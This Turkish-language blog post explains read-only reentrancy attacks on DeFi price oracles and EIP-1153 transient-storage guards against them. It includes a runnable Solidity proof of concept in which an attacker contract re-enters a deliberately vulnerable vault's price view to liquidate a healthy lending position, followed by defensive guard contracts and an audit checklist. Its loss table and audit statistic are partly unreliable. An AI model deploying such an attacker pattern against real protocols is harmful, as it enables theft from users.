Kapatmak için ESC'ye basın

Read-Only Reentrancy Saldırısı Nedir? EIP-1153 ile Korunma

Read-Only Reentrancy, saldırganın çağrı sırasında doğrudan kontrat bakiyesini manipüle etmek yerine, harici bir çağrı (view fonksiyonu) yürütülürken protokolün bozulmuş durumunu (state) okumaya zorladığı bir reentrancy saldırı türüdür. Klasik ReentrancyGuard yapıları yalnızca durum değiştiren (state-changing) fonksiyonları kilitlediğinden, "salt okunur" çağrılar hatalı hesaplanmış veriler (örneğin yapay olarak şişirilmiş veya düşürülmüş bir orakıl fiyatı) döndürür ve bu da entegre olan üçüncü taraf protokollerin içinin boşaltılmasına olanak tanır.

Selam herkese! Bugün konuşacağımız konu, zamanında DeFi sektörüne sadece birkaç ay içinde on milyonlarca dolara mal oldu. Read-Only Reentrancy konseptini ilk kez siber uzayda, henüz akıllı kontrat pentest uzmanı olarak çalıştığım dönemde gördüğümü hatırlıyorum. O zamanlar bu durum bende gerçek bir mesleki hayranlık uyandırmıştı. Hepimiz veri yazma işlemlerini korumaya odaklanmıştık ama okuma yapmanın da en az onun kadar tehlikeli olabileceğini unutmuştuk.

Klasik ReentrancyGuard Sizi Neden Kurtaramaz?

Gelin olayı enine boyuna inceleyelim. Sıradan reentrancy, kontrat henüz balances[msg.sender] = 0 güncellemesini yapamadan saldırganın özyinelemeli (recursive) olarak withdraw() fonksiyonunu çağırmasıdır. Artık herkes OpenZeppelin'den nonReentrant eklemeyi veya Checks-Effects-Interactions (CEI) desenini kullanmayı öğrendi. Harika, kap kaptın tebriği.

Peki Read-Only Reentrancy sırasında tam olarak ne oluyor?

bir Liquidity Pool (Curve tarzı) içerisindeki push-pull mekanizmasını hayal edin. Likiditenizi çekiyorsunuz (remove_liquidity). Kontrat önce size ETH'yi transfer eder, ancak LP tokenlarınızı yakma veya iç bakiyeleri yeniden hesaplama işlemini en son yapar. ETH tam saldırgan kontratınıza aktarıldığı anda receive() veya fallback() fonksiyonunuz tetiklenir.

Milisaniyelik bu kısa zaman diliminde (geçici durum karmaşası) havuzun durumu tutarsız hale gelir:

  • Havuz kontratındaki fiili ETH bakiyesi: Zaten azaldı.
  • Sistemde kayıtlı LP token miktarı: Henüz DÜŞÜRÜLMEDİ.

Eğer receive() içinde aynı havuzun state-changing fonksiyonunu çağırmaya çalışırsanız, nonReentrant modifier'ı sizi anında engeller. Peki ya get_virtual_price() gibi bir okuma fonksiyonunu çağırırsanız? Sonuçta o fonksiyon view olarak işaretlenmiştir! Üzerinde genellikle nonReentrant modifier'ı bulunmaz (view fonksiyonlarını çağırırken neden boşuna ekstra gas ödeyesiniz ki?).

Sonuç olarak get_virtual_price() güncel (ve düşmüş olan) ETH bakiyesini alır, eski (ve hala yüksek olan) LP token miktarına böler... ve size tamamen saçma, yapay olarak düşürülmüş veya şişirilmiş bir fiyat döndürür.

İşte zurnanın zırt dediği yer burası: Doğrudan havuzun kendisini soymuyorsunuz. Bu "sahte" orakıl fiyatıyla gidip bu havuzu fiyat orakılı olarak kullanan başka bir protokolden (Lending Market) aşırı değerlenmiş fiyat üzerinden tüm teminatı çekip alıyorsunuz.

Tam anlamıyla üst düzey bir mimari kurgu hatası. Gerçekten muazzam değil mi?

İstatistikler ve Gerçek Hacklerin Acı Tablosu

Bunun akademik makalelerden ibaret teorik bir zafiyet olduğunu düşünüyorsanız, işte size somut veriler:

Protokol / OlayTarihZararZafiyetin Özü
Curve Finance / SentimentNisan 2023~$1,000,000remove_liquidity_one_coin çalıştırıldığı sırada Curve fiyat orakılının suistimal edilmesi.
Euler FinanceMart 2023~$197,000,000eToken yakımı sırasındaki durum tutarsızlığı ve orakıl manipülasyonunu içeren karmaşık bir zafiyet zinciri.
Vyper Compiler Bug (Curve Pools)Temmuz 2023~$73,000,000Vyper derleyicisi seviyesindeki (0.2.15–0.3.0 sürümleri) Lock mekanizması hatası nedeniyle okuma çağrılarındaki dahili reentrancy korumalarının geçersiz kalması.

İlginç Bir Detay (Az Bilinen İnce Nokta): 2024–2025 denetim raporlarına göre, ikincil borç verme protokollerinin DEX orakıl entegrasyonlarının yaklaşık %34'ü, hesaplama zincirinde TWAP (Time-Weighted Average Price) orakılları kullanılmıyorsa ara view çağrıları üzerinden Read-Only manipülasyonlarına karşı hala savunmasız durumdadır.

Eksiksiz Çalışan Örnek: Zafiyetli VulnerableVault + Saldırgan Kontratı

Aşağıda Solidity 0.8.24 ile yazılmış çalışan bir kod yer alıyor. Havuz modelini ve entegratör protokolü bilerek tek bir yerde topladım, böylece doğrudan Remix üzerinde çalıştırıp deneyebilirsiniz.


 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
 * @title VulnerableVault
 * @notice Read-Only Reentrancy Gösterimi.
 * @dev withdraw() fonksiyonu ETH'yi totalShares güncellenmeden önce gönderir.
 *      Harici bir kontrat geçici olarak bozulmuş fiyatı okuyabilir.
 */
contract VulnerableVault {
    mapping(address => uint256) public shares;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalShares;
    bool private locked;
    modifier nonReentrant() {
        require(!locked, "REENTRANCY_DETECTED");
        locked = true;
        _;
        locked = false;
    }
    receive() external payable {}
    function deposit() external payable {
        require(msg.value > 0, "Zero deposit");
        uint256 balanceBefore = address(this).balance - msg.value;
        uint256 sharesToMint;
        if (totalShares == 0 || balanceBefore == 0) {
            sharesToMint = msg.value;
        } else {
            sharesToMint = (msg.value * totalShares) / balanceBefore;
        }
        require(sharesToMint > 0, "Zero shares");
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
    }
    function approveShares(address spender, uint256 amount) external {
        allowance[msg.sender][spender] = amount;
    }
    function transferShares(address to, uint256 amount) external {
        require(to != address(0), "Zero address");
        require(shares[msg.sender] >= amount, "Insufficient shares");
        shares[msg.sender] -= amount;
        shares[to] += amount;
    }
    function transferSharesFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        require(to != address(0), "Zero address");
        require(shares[from] >= amount, "Insufficient shares");
        uint256 approved = allowance[from][msg.sender];
        if (approved != type(uint256).max) {
            require(approved >= amount, "Insufficient allowance");
            allowance[from][msg.sender] = approved - amount;
        }
        shares[from] -= amount;
        shares[to] += amount;
    }
    /**
     * @notice Zafiyetli işlem sırası: Harici çağrı,
     *         paylar (shares) yakılmadan önce gerçekleşir.
     */
    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shareAmount > 0, "Zero shares");
        require(shares[msg.sender] >= shareAmount, "Exceeds balance");
        require(totalShares > 0, "No shares");
        uint256 ethToReturn =
            (shareAmount * address(this).balance) / totalShares;
        require(ethToReturn > 0, "Zero withdrawal");
        // ZAFİYET: ETH, durum güncellenmeden önce gönderiliyor.
        (bool success, ) = msg.sender.call{value: ethToReturn}("");
        require(success, "ETH transfer failed");
        // Durum yalnızca harici çağrıdan sonra güncellenir.
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
    }
    /**
     * @notice Wei cinsinden pay fiyatı.
     * @dev Callback sırasında bakiye zaten düşmüştür,
     *      ancak totalShares henüz değiştirilmemiştir.
     */
    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (address(this).balance * 1e18) / totalShares;
    }
}
/**
 * @title NaiveLendingProtocol
 * @notice Zafiyetli fiyat orakılı entegrasyonuna sahip borç verme protokolü.
 * @dev Likidasyon işlemi, Vault'un geçici bir durumda olup olmadığını
 *      kontrol etmeden doğrudan mevcut Vault pay fiyatını kullanır.
 */
contract NaiveLendingProtocol {
    VulnerableVault public immutable vault;
    uint256 public constant LTV_BPS = 9000;
    uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
    uint256 public constant BPS = 10000;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;
    constructor(address payable vaultAddress) {
        require(vaultAddress != address(0), "Zero vault address");
        vault = VulnerableVault(vaultAddress);
    }
    receive() external payable {}
    function depositCollateral(uint256 amount) external {
        require(amount > 0, "Zero collateral");
        vault.transferSharesFrom(
            msg.sender,
            address(this),
            amount
        );
        collateral[msg.sender] += amount;
    }
    function getMaxBorrow(address user) public view returns (uint256) {
        uint256 price = vault.getSharePrice();
        uint256 collateralValue = (collateral[user] * price) / 1e18;
        return (collateralValue * LTV_BPS) / BPS;
    }
    function borrow(uint256 amount) external {
        require(amount > 0, "Zero borrow");
        require(
            debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
            "Insufficient collateral"
        );
        require(address(this).balance >= amount, "Insufficient liquidity");
        debt[msg.sender] += amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Loan transfer failed");
    }
    /**
     * @notice Pozisyon riskli görüldüğünde likidatör tüm borcu öder
     *         ve %10 bonus ile teminatı devralır.
     *
     * @dev Zafiyet: getMaxBorrow(), withdraw() sırasındaki geçici
     *      durumu dikkate almadan Vault fiyatını okur.
     */
    function liquidate(address borrower) external payable {
        uint256 borrowerDebt = debt[borrower];
        require(borrowerDebt > 0, "No debt");
        require(msg.value == borrowerDebt, "Incorrect repayment");
        // Pozisyonun sağlıklılık durumu potansiyel olarak manipüle edilmiş fiyata göre kontrol edilir.
        require(
            borrowerDebt > getMaxBorrow(borrower),
            "Position is healthy"
        );
        uint256 price = vault.getSharePrice();
        require(price > 0, "Invalid share price");
        uint256 seizeShares =
            (borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
            / (BPS * price);
        // Borçlunun sahip olduğundan daha fazla teminata el konulamaz.
        if (seizeShares > collateral[borrower]) {
            seizeShares = collateral[borrower];
        }
        require(seizeShares > 0, "Zero collateral seized");
        debt[borrower] = 0;
        collateral[borrower] -= seizeShares;
        // Protokol payları likidatöre transfer eder.
        vault.transferShares(msg.sender, seizeShares);
    }
}
/**
 * @title ReadOnlyAttacker
 * @notice PoC: Geçici fiyat düşüşü, withdraw() başlamadan önce
 *         sağlıklı olan bir pozisyonun haksız yere tasfiye edilmesine yol açar.
 *
 * @dev Saldırgan teminatsız kredi almaz.
 *      Farklı bir zarar senaryosu gösterilmektedir:
 *      Sağlıklı bir pozisyonun geçici olarak manipüle edilmiş fiyattan tasfiye edilmesi.
 */
contract ReadOnlyAttacker {
    VulnerableVault public immutable vault;
    NaiveLendingProtocol public immutable lending;
    bool public attacked;
    uint256 public priceBefore;
    uint256 public observedPrice;
    address public victim;
    constructor(
        address payable vaultAddress,
        address lendingAddress
    ) {
        require(vaultAddress != address(0), "Zero vault address");
        require(lendingAddress != address(0), "Zero lending address");
        vault = VulnerableVault(vaultAddress);
        lending = NaiveLendingProtocol(lendingAddress);
    }
    function executeAttack(address victimAddress) external payable {
        require(!attacked, "Attack already executed");
        require(victimAddress != address(0), "Zero victim address");
        require(msg.value > 0, "Zero deposit");
        victim = victimAddress;
        // Havuzda kendi pozisyonumuzu oluşturuyoruz.
        vault.deposit{value: msg.value}();
        uint256 myShares = vault.shares(address(this));
        require(myShares > 0, "No shares");
        priceBefore = vault.getSharePrice();
        // ETH gönderimi sırasında Vault receive() fonksiyonunu çağıracaktır.
        vault.withdraw(myShares);
    }
    receive() external payable {
        if (!attacked) {
            attacked = true;
            // ETH zaten gönderildi ama paylar henüz yakılmadı.
            observedPrice = vault.getSharePrice();
            require(
                observedPrice < priceBefore,
                "Price was not manipulated"
            );
            // Geçici olarak düşürülmüş fiyat kullanılır:
            // Çekim işleminden önce sağlıklı olan pozisyon tasfiye edilebilir hale gelebilir.
            uint256 victimDebt = lending.debt(victim);
            require(victimDebt > 0, "Victim has no debt");
            require(
                address(this).balance >= victimDebt,
                "Insufficient attack balance"
            );
            lending.liquidate{value: victimDebt}(victim);
        }
    }
}

Koddaki yorum satırlarına bir göz atın, mantığı orada tek tek detaylandırdım. Buradaki ana olay getSharePrice() fonksiyonunun kendi matematiğini dürüstçe çalıştırması. Fonksiyon "bozuk" değil. Bozuk olan şey, ona bu sorunun sorulduğu zamanlama.

EIP-1153 (Transient Storage): Zarif ve Ultra Ucuz Koruma

EVM güncellemeleri (özellikle Dencun hardfork'u ve EIP-1153) gelmeden önce geliştiriciler epey takla atmak zorunda kalıyordu. Ya oracle'lardaki view anahtar kelimesini kaldırıp onları nonReentrant yapıyordunuz (ki bu hem fazladan gaz yakıyor hem de ABI'yı bozuyordu) ya da kilit bayrağını (lock flag) normal storage değişkenlerinde (SSTORE/SLOAD) tutuyordunuz; bu da işlem başına astronomik ~20.000 gas maliyeti demekti. Tam bir kabus.

EIP-1153,imdadımıza yetişerek iki yeni opcode getirdi:

  • TSTORE (Transient Store) — geçici belleğe yazma işlemi yapar.
  • TLOAD (Transient Load) — geçici bellekten okuma yapar.

Transient Storage'ın en kral özelliği şu: veriler YALNIZCA tek bir işlemin (Top-level Transaction) yaşam döngüsü boyunca var olur ve işlem bittiği an otomatik olarak uçurulur. Storage temizliği için ekstra gaz ödemenize gerek kalmaz! TSTORE maliyeti sadece 100 gas, TLOAD ise mütevazı bir 100 gas.

İşte tam anlamıyla kurşun geçirmez, canavar gibi ve ultra ucuz bir TransientReentrancyGuard'ı böyle inşa ediyoruz:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
    /// @dev Dedicated transient-storage slot.
    /// @dev Verify this value against the intended slot derivation before production use.
    bytes32 private constant GUARD_SLOT =
        0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
    error ReentrancyGuardReentrantCall();
    /// @notice Prevents nested entry into functions sharing this guard slot.
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }
    /// @notice Rejects reads while a guarded execution is active.
    /// @dev Must be explicitly applied to each sensitive view function.
    modifier nonReentrantView() {
        _ensureNotReentrant();
        _;
    }
    function _nonReentrantBefore() private {
        _ensureNotReentrant();
        assembly {
            tstore(GUARD_SLOT, 1)
        }
    }
    function _nonReentrantAfter() private {
        assembly {
            tstore(GUARD_SLOT, 0)
        }
    }
    function _ensureNotReentrant() private view {
        uint256 status;
        assembly {
            status := tload(GUARD_SLOT)
        }
        if (status != 0) {
            revert ReentrancyGuardReentrantCall();
        }
    }
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    error ZeroAmount();
    error InsufficientShares();
    error ZeroSharesMinted();
    error EtherTransferFailed();
    event Deposited(
        address indexed account,
        uint256 assets,
        uint256 sharesMinted
    );
    event Withdrawn(
        address indexed account,
        uint256 assets,
        uint256 sharesBurned
    );
    /// @notice Deposits ETH and mints vault shares.
    /// @dev The first deposit uses a 1:1 ETH-to-share ratio.
    function deposit() external payable nonReentrant returns (uint256 minted) {
        if (msg.value == 0) revert ZeroAmount();
        uint256 supply = totalShares;
        uint256 balanceBefore = address(this).balance - msg.value;
        if (supply == 0 || balanceBefore == 0) {
            minted = msg.value;
        } else {
            minted = (msg.value * supply) / balanceBefore;
        }
        if (minted == 0) revert ZeroSharesMinted();
        shares[msg.sender] += minted;
        totalShares = supply + minted;
        emit Deposited(msg.sender, msg.value, minted);
    }
    /// @notice Burns shares and withdraws the corresponding ETH.
    /// @dev State is updated before the external ETH transfer.
    function withdraw(uint256 shareAmount) external nonReentrant {
        if (shareAmount == 0) revert ZeroAmount();
        uint256 userShares = shares[msg.sender];
        if (shareAmount > userShares) revert InsufficientShares();
        uint256 supply = totalShares;
        uint256 assets = (address(this).balance * shareAmount) / supply;
        // Update accounting before transferring control externally.
        shares[msg.sender] = userShares - shareAmount;
        totalShares = supply - shareAmount;
        (bool success, ) = payable(msg.sender).call{value: assets}("");
        if (!success) revert EtherTransferFailed();
        emit Withdrawn(msg.sender, assets, shareAmount);
    }
    /// @notice Returns the current ETH-denominated share price.
    /// @dev Reverts when called during an active guarded execution.
    /// @dev This is an example of a protected read, not a universal
    ///      defense against Read-Only Reentrancy in other contracts.
    function getSharePrice()
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 1e18;
        return (address(this).balance * 1e18) / supply;
    }
    /// @notice Returns the ETH value of a specified share balance.
    /// @dev Also protected against reads during guarded execution.
    function convertToAssets(uint256 shareAmount)
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 0;
        return (address(this).balance * shareAmount) / supply;
    }
}

Esprinin nerede koptuğunu anladınız mı? getSharePrice() arayüzde bir view fonksiyonu olarak kaldı (ABI bozulmadı, dApp'lerin harici off-chain script'leri işlem göndermeden bunu bedavaya okuyabiliyor). Ancak deli fişek bir işlem, withdraw() çalışırken çağrı yığını (call stack) içinde bunu tekrar tetiklemeye kalkarsa, tload(GUARD_SLOT) hemen oradaki 1'i çakar ve işlemi revert'ler.

Gaz maliyeti mi? Çerez parası. Güvenlik mi? %100 taş gibi.

Denetim ve Geliştirme İçin Pratik Mimari Tavsiyeler

EXMON'da CTO olarak geçirdiğim son üç yılda, fiyat oracle'ları ile çalışan veya dışarıya veri sunan akıllı sözleşmeler için sağlam bir kontrol matrisi (checklist) oluşturdum. Geliştiriciler genelde şöyle düşünür: "Okuma fonksiyonunun içinde dışarıdan bir çağrı (external call) yapmıyorsam güvendeyim." Bu ise büyük bir yanılgı.

                 ┌─────────────────────────────────┐
                 │     Saldırgan İşlem Çağrısı     │
                 └────────────────┬────────────────┘
                                  │
                                  ▼
                   ┌───────────────────────────────┐
                   │    Durum Güncellemesi (Vault) │
                   └───────────────┬───────────────┘
                                   │
            ┌──────────────────────┴──────────────────────┐
            │     Geçici Uyumsuzluk (Dirty State)         │
            └──────────────────────┬──────────────────────┘
                                   │
                                   ▼
                     ┌───────────────────────────┐
                     │ External Call / ETH Send  │
                     └─────────────┬─────────────┘
                                   │ (Reentrancy Hook)
                                   ▼
                  ┌─────────────────────────────────┐
                  │   Oracle View Fonksiyonu Okuma  │
                  │   (getSharePrice / getAmount)   │
                  └────────────────┬────────────────┘
                                   │
       ┌───────────────────────────┴───────────────────────────┐
       │                                                       │
       ▼                                                       ▼
[KORUMASIZ]                                              [EIP-1153 (TSTORE) İLE]
Hatalı ve çarpıtılmış                                    Kilit: tload(GUARD) == 1
fiyat döndürür                                           İşlem REVERT'e düşer!
       │                                                       │
       ▼                                                       ▼
Lending protokolüne başarılı saldırı                     Protokol güvende 🛡️

1. İkili Durum Doğrulaması (Dual-State Verification) Modellemesi

Eğer sözleşmeniz, tüm iç bakiyeler son kez güncellenmeden önce dış adresleri çağırmak zorundaysa, geçici bir invariant koruması kullanın. Kritik finansal metrikler sunan herhangi bir view fonksiyonu, temel invariant'ı doğrulamalıdır.

Eğer address(this).balance, totalDeposits toplamıyla eşleşmiyorsa, getRate() fonksiyonu ya revert etmeli ya da işlem başlamadan önceki sabit değeri (last-known-good state) döndürmelidir.

2. Spot Price Yerine TWAP veya Chainlink Kullanımı

Asla, bakın duyuyorum, asla ama asla DEX bakiyelerinin veya Vault havuzlarının anlık view değerlerini teminat ve tasfiye hesaplamaları için tek gerçek kaynak (single source of truth) olarak kullanmayın.

  • Spot Price (Anlık Fiyat): Çağırması kolay, ucuzdur ancak tek bir flash-loan işleminde kolayca manipüle edilir.
  • TWAP (Time-Weighted Average Price): Fiyatı N blok boyunca ortalamaya alır. Saldırgan geçmiş blokları değiştiremeyeceği için, tek bir blok içindeki atomik manipülasyonları boşa çıkarır.

3. Cross-Contract Transient Lock Deseni

Eğer 5 ila 10 birbirine bağlı sözleşmeden oluşan bir ekosisteme (Vault, Gauge, Staking, Oracle) sahipseniz, EIP-1153 tabanlı merkezi bir güvenlik geçidi kullanın.

Sistemin tüm bileşenlerinin başvurduğu ayrı bir GlobalTransientLock sözleşmesi oluşturulur:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice EIP-1153 tabanlı merkezi sistem kilit yöneticisi.
/// @dev EVM Cancun veya üstünü gerektirir.
///      Kilidi yalnızca yetkilendirilmiş sistem sözleşmeleri yönetebilir.
contract GlobalTransientLock {
    address public immutable admin;
    mapping(address => bool) public authorized;
    // Kilit durumu, bu sözleşmenin geçici belleğinde (transient storage) tutulur.
    bytes32 private constant SYSTEM_LOCK_SLOT =
        keccak256("exmon.global.transient.lock.v1");
    error Unauthorized();
    error ZeroAddress();
    error SystemIsLocked();
    error SystemIsNotLocked();
    error AlreadyAuthorized();
    error NotAuthorized();
    error AdminCannotBeRevoked();
    error RenouncingAdminNotSupported();
    event SystemLocked(address indexed caller);
    event SystemUnlocked(address indexed caller);
    event AuthorizationGranted(address indexed account);
    event AuthorizationRevoked(address indexed account);
    modifier onlyAdmin() {
        if (msg.sender != admin) revert Unauthorized();
        _;
    }
    modifier onlyAuthorized() {
        if (!authorized[msg.sender]) revert Unauthorized();
        _;
    }
    constructor(address initialAdmin) {
        if (initialAdmin == address(0)) revert ZeroAddress();
        admin = initialAdmin;
        authorized[initialAdmin] = true;
        emit AuthorizationGranted(initialAdmin);
    }
    /// @notice Sistem kilidini yönetmesi için bir sözleşmeyi yetkilendirir.
    /// @dev Sistem dağıtıldıktan sonra yönetici tarafından çağrılır.
    function authorize(address account) external onlyAdmin {
        if (account == address(0)) revert ZeroAddress();
        if (authorized[account]) revert AlreadyAuthorized();
        authorized[account] = true;
        emit AuthorizationGranted(account);
    }
    /// @notice Bir sözleşmenin kilit yönetim yetkisini geri alır.
    function revokeAuthorization(address account) external onlyAdmin {
        if (account == admin) revert AdminCannotBeRevoked();
        if (!authorized[account]) revert NotAuthorized();
        authorized[account] = false;
        emit AuthorizationRevoked(account);
    }
    /// @notice Sistem kilidini devreye sokar.
    /// @dev Kilidin tekrar üst üste kurulması yasaktır.
    function lockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status != 0) revert SystemIsLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 1)
        }
        emit SystemLocked(msg.sender);
    }
    /// @notice Sistem kilidini kaldırır.
    /// @dev Yalnızca korumalı işlem tamamlandıktan sonra çağrılmalıdır.
    function unlockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status == 0) revert SystemIsNotLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 0)
        }
        emit SystemUnlocked(msg.sender);
    }
    /// @notice Sistem kilit durumunu kontrol eder.
    function isLocked() external view returns (bool locked) {
        assembly ("memory-safe") {
            locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
        }
    }
    /// @notice Yönetici yetkisinin devrini yasaklar.
    function renounceOwnership() external pure {
        revert RenouncingAdminNotSupported();
    }
}
/// @title SystemLockGuard
/// @notice Sistem kilidini doğrulayan bileşenler için temel sözleşme.
/// @dev Kalıtım alan sözleşmeler, okuma metotları dahil her hassas metotta
///      whenSystemUnlocked modifier'ını uygulamak zorundadır.
abstract contract SystemLockGuard {
    GlobalTransientLock public immutable systemLock;
    error SystemTemporarilyLocked();
    constructor(address lockAddress) {
        if (lockAddress == address(0)) {
            revert SystemTemporarilyLocked();
        }
        systemLock = GlobalTransientLock(lockAddress);
    }
    modifier whenSystemUnlocked() {
        if (systemLock.isLocked()) {
            revert SystemTemporarilyLocked();
        }
        _;
    }
}
/// @title ExampleVault
/// @notice Sistem kilidinin kullanım gösterimi.
contract ExampleVault is SystemLockGuard {
    uint256 public totalAssets;
    error InvalidAmount();
    constructor(address lockAddress)
        SystemLockGuard(lockAddress)
    {}
    /// @notice Korumalı durum değiştirme (state-mutating) işlemi örneği.
    function withdrawAccounting(uint256 amount)
        external
        whenSystemUnlocked
    {
        if (amount == 0 || amount > totalAssets) {
            revert InvalidAmount();
        }
        totalAssets -= amount;
    }
    /// @notice Korumalı okuma örneği.
    function getTotalAssets()
        external
        view
        whenSystemUnlocked
        returns (uint256)
    {
        return totalAssets;
    }
}

Ana Vault para çekme işlemini başlattığında lockSystem() fonksiyonunu çağırır. O anda sistemdeki diğer herhangi bir sözleşme (örneğin Lens sözleşmesi veya Oracle) veri sağlamadan önce isLocked() çağrısı yapar ve sistem "kirli" (dirty) bir durumdaysa okuma işlemini engeller.

DevSecOps ve Denetçiler İçin Kontrol Listesi (Checklist)

  1. Çağrı Taraması: Kodunuzu .call{value: ...}(), safeTransfer veya nihai state (storage) güncellemelerinden ÖNCE yer alan herhangi bir dış arayüz çağrısı için tarayın.
  2. View Fonksiyonu Analizi: Oranları, fiyatları, payları (shares) veya teminat miktarını hesaplayan tüm public/external view fonksiyonlarının bir listesini çıkarın.
  3. Cross-Protocol Vektörü: Kendinize şunu sorun: "Bu view fonksiyonu, dışarıdan bir çağrının yürütülmesi sırasında tam o an %90 daha düşük veya %500 daha yüksek bir değer döndürürse, dışarıdaki entegratör bir sözleşme bunu nasıl kötüye kullanabilir?"
  4. EIP-1153 Entegrasyonu: Derleyicinizin evm_version: "cancun" olarak ayarlandığından emin olun ve durumu değiştiren (mutating) işlemler sırasında okumaları kilitlemek için TSTORE/TLOAD mekanizmalarını entegre edin.

Şimdilik bu kadar. Temel noktaları özetledim. Sorularınız olursa yorumlarda belirtebilirsiniz, kesinlikle yanıtlarım. Görüşmek üzere!

Bu blog yazısını şununla özetleyin:

FAQ

Read-Only Reentrancy, saldırganın durum değiştiren bir view işlevi yerine, sözleşmeler arası bir view işlevi çağrısı sırasında geçici durum tutarsızlığından faydalandığı bir güvenlik zafiyetidir. Doğrudan fon çekmek için withdraw() gibi işlevlerin tekrar çağrıldığı klasik reentrancy'nin aksine, read-only saldırısı, likidite çekimi sırasında henüz güncellenmemiş geçici muhasebe değerlerini (değişen token bakiyesi veya toplam arz gibi) okuyarak fiyat kahinlerini (oracle) manipüle eder ve bunlara bağlı kredi protokollerini (lending protocol) sömürür.

EIP-1153, verileri yalnızca tek bir işlem süresince 100 gas gibi son derece düşük bir maliyetle geçici olarak saklayan TSTORE ve TLOAD komutlarını getirir. Protokoller, durum değiştiren işlemler sırasında geçici bir reentrancy kilidi ayarlamak için bu transient storage yapısını kullanır; böylece nonReentrantView değiştiricisine sahip view işlevleri bu bayrağı denetler ve harici bir sözleşme işlem ortasında işlenmemiş durumu okumaya çalıştığında işlemi anında iptal eder (revert).

OpenZeppelin ReentrancyGuard, yalnızca nonReentrant değiştiricisi uygulanmış durum değiştiren işlevleri korur ve normal sorgulama işlemleri sırasında gas tasarrufu sağlamak amacıyla herkese açık view işlevlerini korumasız bırakır. view işlevleri storage belleğindeki durumu değiştirmediğinden, standart kilit mekanizması aktifleşmez ve saldırganın bir callback sırasında view işlevlerini serbestçe çağırarak bozulmuş fiyat verilerini elde etmesine olanak tanır.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...

Yorumunuzu paylaşın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar işaretlendi *